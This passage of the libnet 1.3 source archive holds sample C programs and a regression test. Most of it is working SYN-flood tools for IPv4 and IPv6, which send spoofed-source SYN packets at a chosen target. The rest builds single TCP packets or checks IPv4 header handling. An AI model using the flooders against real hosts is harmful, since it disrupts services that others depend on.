USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" struct t_pack { struct libnet_ipv4_hdr ip; struct libnet_tcp_hdr tcp; }; int main(int argc, char **argv) { u_long dst_ip = 0; u_long src_ip = 0; u_short dst_prt = 0; u_short src_prt = 0; libnet_t *l; libnet_ptag_t t; char *cp; char errbuf[LIBNET_ERRBUF_SIZE]; int i, c, packet_amt, burst_int, burst_amt, build_ip; packet_amt = 0; burst_int = 0; burst_amt = 1; printf("libnet 1.1 syn flooding: TCP[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } while((c = getopt(argc, argv, "t:a:i:b:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 't': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); exit(EXIT_FAILURE); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'a': packet_amt = atoi(optarg); break; case 'i': burst_int = atoi(optarg); break; case 'b': burst_amt = atoi(optarg); break; default: usage(argv[0]); exit(EXIT_FAILURE); } } if (!dst_prt || !dst_ip || !packet_amt) { usage(argv[0]); exit(EXIT_FAILURE); } libnet_seed_prand(l); for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;) { for (i = 0; i < packet_amt; i++) { t = libnet_build_tcp( src_prt = libnet_get_prand(LIBNET_PRu16), dst_prt, libnet_get_prand(LIBNET_PRu32), libnet_get_prand(LIBNET_PRu32), TH_SYN, libnet_get_prand(LIBNET_PRu16), 0, 0, LIBNET_TCP_H, NULL, 0, l, t); if (build_ip) { build_ip = 0; libnet_build_ipv4( LIBNET_TCP_H + LIBNET_IPV4_H, 0, libnet_get_prand(LIBNET_PRu16), 0, libnet_get_prand(LIBNET_PR8), IPPROTO_TCP, 0, src_ip = libnet_get_prand(LIBNET_PRu32), dst_ip, NULL, 0, l, 0); } c = libnet_write(l); if (c == -1) { fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); } #if !(__WIN32__) usleep(250); #else Sleep(250); #endif printf("%15s:%5d ------> %15s:%5d\n", libnet_addr2name4(src_ip, 1), ntohs(src_prt), libnet_addr2name4(dst_ip, 1), dst_prt); } #if !(__WIN32__) sleep(burst_int); #else Sleep(burst_int * 1000); #endif } exit(EXIT_SUCCESS); } void usage(char *nomenclature) { fprintf(stderr, "\n\nusage: %s -t -a [-i -b]\n" "\t-t target, (ip.address.port: 192.168.2.6.23)\n" "\t-a number of packets to send per burst\n" "\t-i packet burst sending interval (defaults to 0)\n" "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature); } libnet-1.3/sample/synflood6.c0000664000175000017500000001407114506572036014431 0ustar syqsyq/* * $Id: synflood6.c,v 1.2 2004/03/01 20:26:12 mike Exp $ * * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman * SYN flooder rewritten for no good reason. Again as libnet test module. * Again for libnet 1.1. * All rights reserved. * * Modifications for ipv6 by Stefan Schlott * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" struct t_pack { struct libnet_ipv6_hdr ip; struct libnet_tcp_hdr tcp; }; int main(int argc, char **argv) { struct libnet_in6_addr dst_ip; struct libnet_in6_addr src_ip; u_short dst_prt = 0; u_short src_prt = 0; libnet_t *l; libnet_ptag_t t; char *cp; char errbuf[LIBNET_ERRBUF_SIZE]; int i, c, packet_amt, burst_int, burst_amt, build_ip; char srcname[100], dstname[100]; packet_amt = 0; burst_int = 0; burst_amt = 1; printf("libnet 1.1 syn flooding: TCP6[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init(LIBNET_RAW6, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } while ((c = getopt(argc, argv, "t:a:i:b:")) != EOF) { switch (c) { case 't': if (!(cp = strrchr(optarg, '/'))) { usage(argv[0]); exit(EXIT_FAILURE); } *cp++ = 0; dst_prt = (u_short)atoi(cp); dst_ip = libnet_name2addr6(l, optarg, 1); if (strncmp((char *)&dst_ip, (char *)&in6addr_error, sizeof(in6addr_error)) == 0) { fprintf(stderr, "Bad IP6 address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'a': packet_amt = atoi(optarg); break; case 'i': burst_int = atoi(optarg); break; case 'b': burst_amt = atoi(optarg); break; default: usage(argv[0]); exit(EXIT_FAILURE); } } src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE); /*src_ip = libnet_name2addr6(l, "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE); dst_prt = 113; dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE); packet_amt = 1; */ if (!dst_prt || strncmp((char *)&dst_ip, (char *)&in6addr_error, sizeof(in6addr_error)) == 0 || !packet_amt) { usage(argv[0]); exit(EXIT_FAILURE); } libnet_seed_prand(l); libnet_addr2name6_r(src_ip, 1, srcname, sizeof(srcname)); libnet_addr2name6_r(dst_ip, 1, dstname, sizeof(dstname)); for (t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;) { for (i = 0; i < packet_amt; i++) { char payload[56]; int i; for (i = 0; i < 56; i++) payload[i] = 'A' + ((char)(i % 26)); src_prt = libnet_get_prand(LIBNET_PRu16); t = libnet_build_tcp(src_prt, dst_prt, libnet_get_prand(LIBNET_PRu32), libnet_get_prand(LIBNET_PRu32), TH_SYN, libnet_get_prand(LIBNET_PRu16), 0, 0, LIBNET_TCP_H, NULL, 0, l, t); if (build_ip) { build_ip = 0; printf("Packet len = %ld\n", (long)LIBNET_ICMPV6_H + sizeof(payload)); libnet_build_ipv6(0, 0, LIBNET_TCP_H, IPPROTO_TCP, 64, src_ip, dst_ip, NULL, 0, l, 0); } printf("%15s/%5d -> %15s/%5d\n", srcname, ntohs(src_prt), dstname, dst_prt); c = libnet_write(l); if (c == -1) { fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); } #if !(__WIN32__) usleep(250); #else Sleep(250); #endif } #if !(__WIN32__) sleep(burst_int); #else Sleep(burst_int * 1000); #endif } exit(EXIT_SUCCESS); } void usage(char *nomenclature) { fprintf(stderr, "\n\nusage: %s -t -a [-i -b]\n" "\t-t target, (ip6:address/port, e.g. ::1/23)\n" "\t-a number of packets to send per burst\n" "\t-i packet burst sending interval (defaults to 0)\n" "\t-b number packet bursts to send (defaults to 1)\n", nomenclature); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * c-file-offsets: ((case-label . +)) * End: */ libnet-1.3/sample/synflood6_frag.c0000664000175000017500000001543214506572036015432 0ustar syqsyq/* * $Id: synflood6_frag.c,v 1.1 2004/01/03 20:31:01 mike Exp $ * * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman * SYN flooder rewritten for no good reason. Again as libnet test module. * Again for libnet 1.1. * All rights reserved. * * Modifications for ipv6 by Stefan Schlott * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" struct t_pack { struct libnet_ipv6_hdr ip; struct libnet_tcp_hdr tcp; }; int main(int argc, char **argv) { struct libnet_in6_addr dst_ip; struct libnet_in6_addr src_ip; u_short dst_prt = 0; u_short src_prt = 0; libnet_t *l; libnet_ptag_t tcp, ip, ip_frag; char *cp; char errbuf[LIBNET_ERRBUF_SIZE]; int i, j, c, packet_amt, burst_int, burst_amt; char srcname[100], dstname[100]; uint8_t payload[56]; packet_amt = 0; burst_int = 0; burst_amt = 1; tcp = ip_frag = ip = LIBNET_PTAG_INITIALIZER; printf("libnet 1.1 syn flooding: TCP IPv6 fragments [raw]\n"); l = libnet_init(LIBNET_RAW6, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } while ((c = getopt(argc, argv, "t:a:i:b:")) != EOF) { switch (c) { case 't': if (!(cp = strrchr(optarg, '/'))) { usage(argv[0]); exit(EXIT_FAILURE); } *cp++ = 0; dst_prt = (u_short)atoi(cp); dst_ip = libnet_name2addr6(l, optarg, LIBNET_RESOLVE); if (strncmp((char *)&dst_ip, (char *)&in6addr_error, sizeof(in6addr_error)) == 0) { fprintf(stderr, "Bad IPv6 address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'a': packet_amt = atoi(optarg); break; case 'i': burst_int = atoi(optarg); break; case 'b': burst_amt = atoi(optarg); break; default: usage(argv[0]); exit(EXIT_FAILURE); } } src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE); /* src_ip = libnet_name2addr6(l, "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE); dst_prt = 113; dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE); packet_amt = 1; */ if (!dst_prt || strncmp((char *)&dst_ip, (char *)&in6addr_error, sizeof(in6addr_error)) == 0 || !packet_amt) { usage(argv[0]); exit(EXIT_FAILURE); } libnet_seed_prand(l); libnet_addr2name6_r(src_ip, LIBNET_RESOLVE, srcname, sizeof(srcname)); libnet_addr2name6_r(dst_ip, LIBNET_RESOLVE, dstname, sizeof(dstname)); for (; burst_amt--;) { for (i = 0; i < packet_amt; i++) { for (j = 0; j < 56; j++) payload[j] = 'A' + ((char)(j % 26)); tcp = libnet_build_tcp(src_prt = libnet_get_prand(LIBNET_PRu16), dst_prt, libnet_get_prand(LIBNET_PRu32), libnet_get_prand(LIBNET_PRu32), TH_SYN, libnet_get_prand(LIBNET_PRu16), 0, 0, LIBNET_TCP_H, NULL, 0, l, tcp); if (tcp == -1) { fprintf(stderr, "Can't build or modify TCP header: %s\n", libnet_geterror(l)); return (EXIT_FAILURE); } ip_frag = libnet_build_ipv6_frag(IPPROTO_TCP, /* next header */ 0, /* reserved */ 0, /* frag bits */ 1, /* ip id */ NULL, 0, l, ip_frag); if (ip_frag == -1) { fprintf(stderr, "Can't build or modify TCP header: %s\n", libnet_geterror(l)); return (EXIT_FAILURE); } ip = libnet_build_ipv6(0, 0, LIBNET_TCP_H, IPPROTO_TCP, 64, src_ip, dst_ip, NULL, 0, l, ip); if (ip == -1) { fprintf(stderr, "Can't build or modify TCP header: %s\n", libnet_geterror(l)); return (EXIT_FAILURE); } printf("%15s/%5d -> %15s/%5d\n", srcname, ntohs(src_prt), dstname, dst_prt); c = libnet_write(l); if (c == -1) { fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); } #if !(__WIN32__) usleep(250); #else Sleep(250); #endif } #if !(__WIN32__) sleep(burst_int); #else Sleep(burst_int * 1000); #endif } exit(EXIT_SUCCESS); } void usage(char *nomenclature) { fprintf(stderr, "\n\nusage: %s -t -a [-i -b]\n" "\t-t target, (ip6:address/port, e.g. ::1/23)\n" "\t-a number of packets to send per burst\n" "\t-i packet burst sending interval (defaults to 0)\n" "\t-b number packet bursts to send (defaults to 1)\n", nomenclature); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * c-file-offsets: ((case-label . +)) * End: */ libnet-1.3/sample/tcp1.c0000664000175000017500000001676014506572036013364 0ustar syqsyq/* * $Id: tcp1.c,v 1.6 2004/03/01 20:26:12 mike Exp $ * * libnet 1.1 * Build a TCP packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "libnet_test.h" int main(int argc, char *argv[]) { int c; char *cp; libnet_t *l; libnet_ptag_t t; char *payload; u_short payload_s; u_long src_ip, dst_ip; u_short src_prt, dst_prt; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: TCP + options[link]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_LINK, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; src_prt = 0; dst_prt = 0; payload = NULL; payload_s = 0; while ((c = getopt(argc, argv, "d:s:p:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; src_prt = (u_short)atoi(cp); if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'p': payload = optarg; payload_s = strlen(payload); break; default: exit(EXIT_FAILURE); } } if (!src_ip || !src_prt || !dst_ip || !dst_prt) { usage(argv[0]); exit(EXIT_FAILURE); } t = libnet_build_tcp_options( (uint8_t*)"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000", 20, l, 0); if (t == -1) { fprintf(stderr, "Can't build TCP options: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_tcp( src_prt, /* source port */ dst_prt, /* destination port */ 0x01010101, /* sequence number */ 0x02020202, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 10, /* urgent pointer */ LIBNET_TCP_H + 20 + payload_s, /* TCP packet size */ (uint8_t*)payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s,/* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ethernet( enet_dst, /* ethernet destination */ enet_src, /* ethernet source */ ETHERTYPE_IP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip.source_port -d destination_ip.destination_port" " [-p payload]\n", name); } libnet-1.3/sample/tcp2.c0000664000175000017500000001512014506572036013352 0ustar syqsyq/* * $Id: tcp2.c,v 1.3 2004/01/28 19:45:00 mike Exp $ * * libnet 1.1 * raw_tcp.c - Build a TCP packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char **argv) { int c; char *cp; libnet_t *l; libnet_ptag_t t; char *payload; u_short payload_s; u_long src_ip, dst_ip; u_short src_prt, dst_prt; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: TCP[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; src_prt = 0; dst_prt = 0; payload = NULL; payload_s = 0; while((c = getopt(argc, argv, "d:s:p:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; break; case 'p': payload = optarg; payload_s = strlen(payload); break; case 's': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; src_prt = (u_short)atoi(cp); if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; } } if (!src_ip || !src_prt || !dst_ip || !dst_prt) { usage(argv[0]); exit(EXIT_FAILURE); } t = libnet_build_tcp( src_prt, /* source port */ dst_prt, /* destination port */ 0x01010101, /* sequence number */ 0x02020202, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 10, /* urgent pointer */ LIBNET_TCP_H + payload_s, /* TCP packet size */ (uint8_t*)payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip.source_port -d destination_ip.destination_port" " [-p payload]\n", name); } libnet-1.3/sample/test_ipv4.c0000664000175000017500000001344514506572036014433 0ustar syqsyq/* * Regression test for bugs in ipv4 ip_offset and h_len handling, such as * http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=418975 * * Copyright (c) 2009 Sam Roberts * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" #include static void print_pblocks(libnet_t* l) { libnet_pblock_t* p = l->protocol_blocks; while(p) { /* h_len is header length for checksumming? "chksum length"? */ printf(" tag %d flags %d type %20s/%#x buf %p b_len %2u h_len %2u copied %2u\n", p->ptag, p->flags, libnet_diag_dump_pblock_type(p->type), p->type, p->buf, p->b_len, p->h_len, p->copied); p = p->next; } printf(" link_offset %d aligner %d total_size %u nblocks %d\n", l->link_offset, l->aligner, l->total_size, l->n_pblocks); } static int build_ipv4(libnet_t* l, libnet_ptag_t ip_ptag, int payload_s) { u_long src_ip = 0xf101f1f1; u_long dst_ip = 0xf102f1f1; uint8_t* payload = malloc(payload_s); assert(payload); memset(payload, '\x00', payload_s); ip_ptag = libnet_build_ipv4( LIBNET_IPV4_H + payload_s, /* length */ 0, /* TOS */ 0xbbbb, /* IP ID */ 0, /* IP Frag */ 0xcc, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ ip_ptag); /* libnet id */ assert(ip_ptag > 0); free(payload); return ip_ptag; } int main(int argc, char *argv[]) { libnet_t *l; int r; char *device = "eth0"; uint8_t enet_src[6] = {0x11, 0x11, 0x11, 0x11, 0x11, 0x11}; uint8_t enet_dst[6] = {0x22, 0x22, 0x22, 0x22, 0x22, 0x22}; char errbuf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t ip_ptag = 0; libnet_ptag_t eth_ptag = 0; int pkt1_payload = 10; uint8_t* pkt1 = NULL; uint32_t pkt1_sz = 0; struct libnet_ipv4_hdr* h1; int pkt2_payload = 2; uint8_t* pkt2 = NULL; uint32_t pkt2_sz = 0; struct libnet_ipv4_hdr* h2; l = libnet_init( LIBNET_LINK, device, errbuf); assert(l); /* Bug is triggered when rebuilding the ipv4 blocks with smaller payload. * If change in payload size is larger than 20 (iph) + 14 (ether) + * aligner, it will cause checksum to be written into the unallocated * memory before the packet, possibly corrupting glib's memory allocation * structures. */ printf("Packet 1:\n"); ip_ptag = build_ipv4(l, ip_ptag, pkt1_payload); eth_ptag = libnet_build_ethernet( enet_dst, /* ethernet destination */ enet_src, /* ethernet source */ ETHERTYPE_IP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ assert(eth_ptag > 0); r = libnet_pblock_coalesce(l, &pkt1, &pkt1_sz); assert(r >= 0); print_pblocks(l); libnet_diag_dump_hex(pkt1, 14, 0, stdout); libnet_diag_dump_hex(pkt1+14, pkt1_sz-14, 0, stdout); printf("Packet 2:\n"); ip_ptag = build_ipv4(l, ip_ptag, pkt2_payload); r = libnet_pblock_coalesce(l, &pkt2, &pkt2_sz); assert(r >= 0); print_pblocks(l); libnet_diag_dump_hex(pkt2, 14, 0, stdout); libnet_diag_dump_hex(pkt2+14, pkt2_sz-14, 0, stdout); /* Packets should differ only in the total length and cksum. */ h1 = (struct libnet_ipv4_hdr*) (pkt1+14); h2 = (struct libnet_ipv4_hdr*) (pkt2+14); assert(h1->ip_len == htons(20+pkt1_payload)); assert(h2->ip_len == htons(20+pkt2_payload)); h1->ip_len = h2->ip_len = 0x5555; h1->ip_sum = h2->ip_sum = 0x6666; assert(memcmp(pkt1, pkt2, 14 + 20) == 0); return (EXIT_SUCCESS); } libnet-1.3/sample/test_ipv4_options.c0000664000175000017500000001714414506572036016206 0ustar syqsyq/* * Regression test for bugs in ipv4 ip_offset and h_len handling, such as * 